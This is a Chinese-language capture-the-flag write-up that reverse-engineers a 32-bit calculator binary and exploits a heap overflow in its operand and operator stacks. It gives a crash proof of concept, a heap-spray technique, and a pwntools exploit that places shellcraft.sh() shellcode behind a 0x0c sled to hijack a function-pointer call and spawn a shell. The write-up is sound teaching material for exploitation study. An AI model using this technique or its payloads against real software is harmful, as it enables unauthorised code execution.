1 分析
题目二进制
写write up之前,要吐槽一下,这又是一道做得让我怀疑人生的题。前后拖了一个月才狠下心把这题终于终于做完了。一点一点积累,希望一年或者几年后能看到自己的进步。
1.1 查看程序基本信息
1 2 3 4 5 6 7 8 9 10
| $ file calc calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=454ff27c25ea5028bffdcfaf81e1c178d5cbce3a, stripped $ checksec calc [*] '/mnt/hgfs/VMshare/calc/calc' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
|
1.2 运行试试
1 2 3 4 5 6 7 8 9 10 11
| $ ./calc > 1 1 > 3 3 > 1111 1111 > 2+2 invalid number > 2 + 3 5
|
1.3 IDA逆向
如下是IDA逆向出来,main函数中的主要代码,对这段代码进行分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| v13 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); dword_804D0B0 = sub_804A929(); dword_804D0B4 = sub_804A8E9(); dword_804D0AC = sub_804A8E9(); v0 = sub_804A83F("add", (int)sub_80494AA); sub_804A946(dword_804D0B0, "add", v0); v1 = sub_804A83F("sub", (int)sub_8049C81); sub_804A946(dword_804D0B0, "sub", v1); v2 = sub_804A83F("mul", (int)sub_8049A0E); sub_804A946(dword_804D0B0, "mul", v2); v3 = sub_804A83F("div", (int)sub_8049DED); sub_804A946(dword_804D0B0, "div", v3); v4 = sub_804A83F("mod", (int)sub_8049F90); sub_804A946(dword_804D0B0, "mod", v4); v5 = sub_804A83F("not", (int)sub_804A135); sub_804A946(dword_804D0B0, "not", v5); v6 = sub_804A83F("int", (int)sub_8049854); sub_804A946(dword_804D0B0, "int", v6); v7 = sub_804A83F("exit", (int)sub_804A688); sub_804A946(dword_804D0B0, "exit", v7); v8 = sub_804A83F("equals", (int)sub_804A3C2); sub_804A946(dword_804D0B0, "equals", v8); v9 = sub_804A83F("type", (int)sub_804A61E); sub_804A946(dword_804D0B0, "type", v9); v10 = sub_804A83F("len", (int)sub_804A308); sub_804A946(dword_804D0B0, "len", v10); while ( 1 ) { memset(&s, 0, 0x100u); printf("> "); if ( !fgets(&s, 256, stdin) ) break; v11 = strrchr(&s, '\n'); if ( v11 ) *v11 = 0; sub_8048BC1(&s); }
|
line 1 2 3
1 2 3
| dword_804D0B0 = sub_804A929(); dword_804D0B4 = sub_804A8E9(); dword_804D0AC = sub_804A8E9();
|
dword_804D0B0,dword_804D0B4,dword_804D0AC都是bss段的变量,各占4个字节。这三个变量分别接受sub_804A929()和sub_804A8E9()这两个函数的返回值。下面我们来看看这两个函数。
1 2 3 4 5 6
| .bss:0804D0AC dword_804D0AC dd ? .bss:0804D0AC .bss:0804D0B0 ; int dword_804D0B0 .bss:0804D0B0 dword_804D0B0 dd ? .bss:0804D0B0 .bss:0804D0B4 dword_804D0B4 dd ?
|
sub_804A929()
这个函数只有一句return calloc(0x10u, 1u)
,申请大小为0x10的堆空间,并将堆的地址返回给dword_804D0B0。
sub_804A8E9()
这个函数中申请了0x84大小的堆空间,并返回。因此dword_804D0B4,dword_804D0AC分别指向大小为0x84的堆。
line 4 5 6 7
这四行以及之后的许多行都是在重复4 5行的函数,因此分析完前两个就能推断之后的操作。
先看4 5 行,涉及两个函数sub_804A83F()和sub_804A946(),以及一个函数指针sub_80494AA和一个bss段的变量dword_804D0B0。接下来重点分析这两个函数。
1 2
| v0 = sub_804A83F("add", (int)sub_80494AA); sub_804A946(dword_804D0B0, "add", v0);
|
sub_804A83F()
函数定义如下:
1 2 3 4 5 6 7 8 9 10 11
| _DWORD *__cdecl sub_804A83F(char *s, int a2) { _DWORD *v2;
v2 = calloc(0x10u, 1u); *v2 = strdup(s); v2[2] = a2; v2[1] = "function"; v2[3] = 0; return v2; }
|
输入为一个字符串和一个整型值(函数指针的地址)。函数内先申请一个大小为0x10的堆空间(*v2指向该堆空间),然后将输入的字符串地址(strdup申请了一个堆空间用来存放字符串)放在v2[0];v2[1]处存放字符串”function”的地址,标志这是一个function堆;将传入的函数指针地址放在v2[2];v2[3]置空。最后将该堆块返回给上一层调用者。
1 2 3 4 5 6 7 8 9 10
| v2堆块如下。以第4行为例,heap1中存放着字符串“add”;string1处的字符串为“function”;function1是一个处理add逻辑的函数。 |------------| | &heap1 | |------------| | &string1 | |------------| | &function1 | |------------| | 0 | |------------|
|
sub_804A946()
以add为例,该函数的参数分别为dword_804D0B0(bss段的一个值,为一个堆块地址), “add”字符串,,以及上一个函数sub_804A83F()的返回值(一个0x10大小的堆块)。sub_804A946()函数定义如下,我在函数中标记了注释。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| int __cdecl sub_804A946(int a1, char *s, int a3) { int result; size_t i; int v5; signed int v6;
if ( !*a1 ) { *a1 = calloc(0x10u, 1u); *(*a1 + 8) = *s; }
v5 = *a1; v6 = strlen(s);
for ( i = 0; i <= v6; ++i ) {
while ( *(v5 + 4) && *(v5 + 8) != s[i] ) v5 = *(v5 + 4);
if ( *(v5 + 8) != s[i] ) {
*(v5 + 4) = calloc(0x10u, 1u); *(*(v5 + 4) + 8) = s[i]; v5 = *(v5 + 4);
while ( strlen(s) > i ) { *v5 = calloc(0x10u, 1u); *(*v5 + 8) = s[++i]; v5 = *v5; } break; }
if ( !s[i] ) break;
if ( !*v5 ) { *v5 = calloc(0x10u, 1u); *(*v5 + 8) = s[i + 1]; }
v5 = *v5; }
result = v5;
*(v5 + 12) = a3; return result; }
|
执行完4 5 6 7行后,会形成如下图所示的堆空间关系:
line 8
这个while循环内会对输入进行处理,是跟外部数据交互的窗口,因此漏洞极有可能存在于循环内部的处理过程。
line 9
这一行通过fgets从标准输入(即键盘)中获取输入字符串。根据fgets的特性,本题中它最多接受256-1=255
个字符输入。s在栈上的空间为0x100=256,加上字符串结束符’\x00’也不会溢出。
char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。
line 10
这一行及后两行的目的是对输入字符串进行处理。寻找输入字符串最后一次出现’\n’的位置,即字符串结束的位置,并往该位置写0x00(是ASCII码的0,而不是字符 ‘0’。)
line11
第11行是函数sub_8048BC1(&s),处理输入的字符串s。使用strtok将字符串s进行分解。
char *strtok(char *str, const char *delim) 分解字符串 str 为一组字符串,delim 为分隔符。
这个函数中,有三个大的处理逻辑:
- while ( s1 ):对传入字符串分解得到的运算数和运算符进行解析,并将运算数链接到bss段的dword_804D0B4,将运算符链接到bss段的dword_804D0AC。
- while ( !sub_804A8D7(dword_804D0AC) ):判断dword_804D0AC指向堆空间的第一个值是否为0(第一个值代表运算符个数),即判断是否存在运算符。
- if ( !result )
while(s1)
如下对运算数的处理中存在漏洞函数。重点看a和b两段指令。
1 2 3 4 5 6 7 8 9 10 11 12 13
| if ( (*__ctype_b_loc())[*s1] & 0x800 || *s1 == '-' && strlen(s1) > 1 ) { if ( sub_804886B(s1) ) { v1 = sub_804A6F8(byte_804AC65, s1); sub_804A8B5(dword_804D0B4, v1); } else { puts("invalid number"); } goto LABEL_68; }
|
对运算符的处理过程跟以上对运算数的处理过程基本一致,只不过运算符是链接在dword_804D0AC指向的堆块上。
由于dword_804D0B4指向的堆块先于dword_804D0AC指向堆块的申请,因此他俩在堆空间的排布如下:
dword_804D0B4指向的堆块大小为0x84,最多可存储0x84/0x4 - 2=0x21 - 2=33 - 2 = 31个运算数信息。但是我们可以输入256个字节的字符串,因此我们可输入的运算数远远大于31,那么此时运算数信息就会溢出到存放运算符的堆块。如上图所示,第33个运算数的堆块会覆盖绿色堆块中的count,那么之后访问运算符的时候会取到一个超大的值。
while ( !sub_804A8D7(dword_804D0AC) )
1 2
| v9 = sub_804A88E(dword_804D0AC); (*(v9 + 8))();
|
先调用sub_804A88E函数,从运算符堆块中取出一个运算符,然后对该运算符取值运行。
1 2 3 4
| int __cdecl sub_804A88E(_DWORD *a1) { return a1[(*a1)-- + 1]; }
|
我们可以看到sub_804A88E中访问了运算符堆块的第一个count,即*a1。上面讨论了这个值可以被越界覆盖,因此在这里会越界访问,导致程序崩溃。
1.4 poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| $ python -c "print '1 ' * 33" 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 $ gdb calc gef➤ r Starting program: /mnt/hgfs/VMshare/calc/calc > 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
Program received signal SIGSEGV, Segmentation fault. 0x0804a89c in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0804e0a8 → 0x0804f058 → 0x0804f070 → 0x00000000 $ebx : 0x0 $ecx : 0x0 $edx : 0x0804f058 → 0x0804f070 → 0x00000000 $esp : 0xffffcd08 → 0x00000000 $ebp : 0xffffcd18 → 0xffffcd78 → 0xffffcea8 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0x0804a89c → mov eax, DWORD PTR [eax+edx*4+0x4] $eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ────────────────────────────────────────────────────────────────────────── stack ──── 0xffffcd08│+0x0000: 0x00000000 ← $esp 0xffffcd0c│+0x0004: 0x00000000 0xffffcd10│+0x0008: 0x00000000 0xffffcd14│+0x000c: 0x00000000 0xffffcd18│+0x0010: 0xffffcd78 → 0xffffcea8 → 0x00000000 ← $ebp 0xffffcd1c│+0x0014: 0x080493b6 → add esp, 0x10 0xffffcd20│+0x0018: 0x0804e0a8 → 0x0804f058 → 0x0804f070 → 0x00000000 0xffffcd24│+0x001c: 0x0804ac54 → and BYTE PTR [eax], al ───────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x804a892 in al, dx 0x804a893 adc BYTE PTR [ebx+0x108b0845], cl 0x804a899 mov eax, DWORD PTR [ebp+0x8] → 0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4] 0x804a8a0 mov DWORD PTR [ebp-0x4], eax 0x804a8a3 mov eax, DWORD PTR [ebp+0x8] 0x804a8a6 mov eax, DWORD PTR [eax] 0x804a8a8 lea edx, [eax-0x1] 0x804a8ab mov eax, DWORD PTR [ebp+0x8] ────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "calc", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x804a89c → mov eax, DWORD PTR [eax+edx*4+0x4] [#1] 0x80493b6 → add esp, 0x10 [#2] 0x8048bb9 → add esp, 0x10 [#3] 0xf7e1c637 → __libc_start_main(main=0x80488cb, argc=0x1, argv=0xffffcf54, init=0x804aba0, fini=0x804ac00, rtld_fini=0xf7fe8880 <_dl_fini>, stack_end=0xffffcf4c) [#4] 0x8048791 → hlt ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ vmmap Start End Offset Perm Path 0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/VMshare/calc/calc 0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/VMshare/calc/calc 0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/VMshare/calc/calc 0x0804e000 0x0806f000 0x00000000 rwx [heap] 0xf7e03000 0xf7e04000 0x00000000 rwx 0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fb4000 0xf7fb6000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb7000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so 0xf7fb7000 0xf7fba000 0x00000000 rwx 0xf7fd3000 0xf7fd4000 0x00000000 rwx 0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rwx [stack] gef➤
|
可以看到,程序运行到0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]
处时,崩溃了。eax+edx*4+0x4 = 0x0804e0a8 +0x0804f058*4 + 0x4 = 0x2818a20c
。通过上面的vmmap信息,可以看出,0x2818a20c这个地址并未被映射,所以访问时会导致程序异常崩溃。
我们要怎样利用这个异常访问呢?如果我们能将这个超大地址映射成功,并且能控制这个地址的内容,是不是就能控制执行流了呢?
这个题没有开NX,因此堆栈上的数据可以执行,我们可以在堆上布局shellcode。
2 利用
2.1 申请不释放的堆空间
我们发现乘法函数sub_8049A0E中有一段申请内存的操作,但是并没有释放这些内存。因此我们可以利用该乘法函数,不断扩展堆空间,使0x2818a20c这个位置被映射。
如下代码段是sub_8049A0E函数中涉及内存申请的部分。当一个字符类型和一个整形相乘时,会根据字符长度和整型值的乘积申请堆空间。*(v8 + 12)
是字符的长度,*(v7 + 8)
是整型值。
1 2 3 4 5
| else if ( !strcmp(*(v8 + 4), "str") && !strcmp(*(v7 + 4), "int") ) { v6 = *(v7 + 8); dest = calloc(*(v8 + 12) * *(v7 + 8) + 1, 1u); v9 = dest;
|
因此用如下poc测试申请堆空间,确认能否将较高地址处映射成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
from pwn import * context(arch = "i386",os = "linux") myelf = ELF("./calc") myproc = process(myelf.path)
payload = '"a " * 100000' for i in range(6000): myproc.sendlineafter(">",payload) gdb.attach(myproc,"b * 0x0804A89C\nc")
myproc.recvuntil(">") payload = "1 " * 33 myproc.sendline(payload)
myproc.interactive()
|
执行结果如下,可见0x09779000至0x510e2000的地址空间全被映射为堆空间了,并且被我们的输入”a “给填满了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x097790a8 → 0x510c22d8 → 0x510c22f0 → 0x00000000 $ebx : 0x0 $ecx : 0x0 $edx : 0x510c22d8 → 0x510c22f0 → 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x804a892 in al, dx 0x804a893 adc BYTE PTR [ebx+0x108b0845], cl 0x804a899 mov eax, DWORD PTR [ebp+0x8] → 0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4] 0x804a8a0 mov DWORD PTR [ebp-0x4], eax 0x804a8a3 mov eax, DWORD PTR [ebp+0x8] 0x804a8a6 mov eax, DWORD PTR [eax]
gef➤ vmmap Start End Offset Perm Path 0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/VMshare/calc/calc 0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/VMshare/calc/calc 0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/VMshare/calc/calc 0x09779000 0x510e2000 0x00000000 rwx [heap] 0xf7dad000 0xf7dae000 0x00000000 rwx 0xf7dae000 0xf7f5e000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7f5e000 0xf7f60000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7f60000 0xf7f61000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so 0xf7f61000 0xf7f64000 0x00000000 rwx 0xf7f7d000 0xf7f7e000 0x00000000 rwx 0xf7f7e000 0xf7f81000 0x00000000 r-- [vvar] 0xf7f81000 0xf7f83000 0x00000000 r-x [vdso] 0xf7f83000 0xf7fa6000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7fa6000 0xf7fa7000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7fa7000 0xf7fa8000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so 0xfffd0000 0xffff1000 0x00000000 rwx [stack]
gef➤ x/10gx 0x33333333 0x33333333: 0x6161616161616161 0x6161616161616161 0x33333343: 0x6161616161616161 0x6161616161616161 0x33333353: 0x6161616161616161 0x6161616161616161 0x33333363: 0x6161616161616161 0x6161616161616161 0x33333373: 0x6161616161616161 0x6161616161616161
|
此时eax+edx*4+0x4的计算如下:
1 2 3 4
| >>> eax = 0x097790a8 >>> edx = 0x510c22d8 >>> hex(eax+edx*4+0x4) '0x14da81c0c'
|
由于环境是32位的,所以最终计算结果为’0x4da81c0c’,这个值是sub_804A88E函数的返回值。这个返回值作为地址,偏移8字节的位置处的值,会被作为函数执行。如果我们能劫持0x4da81c0c+8=0x4da81c14地址处的值,就可以劫持控制流。
1 2
| v9 = sub_804A88E((_DWORD *)G_D0AC); (*(void (**)(void))(v9 + 8))();
|
2.2 exp
通过以上的分析可知,我们需要往堆空间布局一些shellcode,并且劫持(*(void (**)(void))(v9 + 8))()
执行我们的shellcode。但是我们很难精确将shellcode布置到该地址,因此采用’\x0c’滑板指令,结合shellcode的方式完成利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
from pwn import * context(arch = "i386",os = "linux") myelf = ELF("./calc") myproc = process(myelf.path)
payload = '"' + asm(shellcraft.sh()).ljust(200,'\x0c') + '" * 500' for i in range(6000): myproc.sendlineafter(">",payload) gdb.attach(myproc,"b * 0x0804A89C\nc")
myproc.recvuntil(">") payload = "1 " * 33 myproc.sendline(payload)
myproc.interactive()
|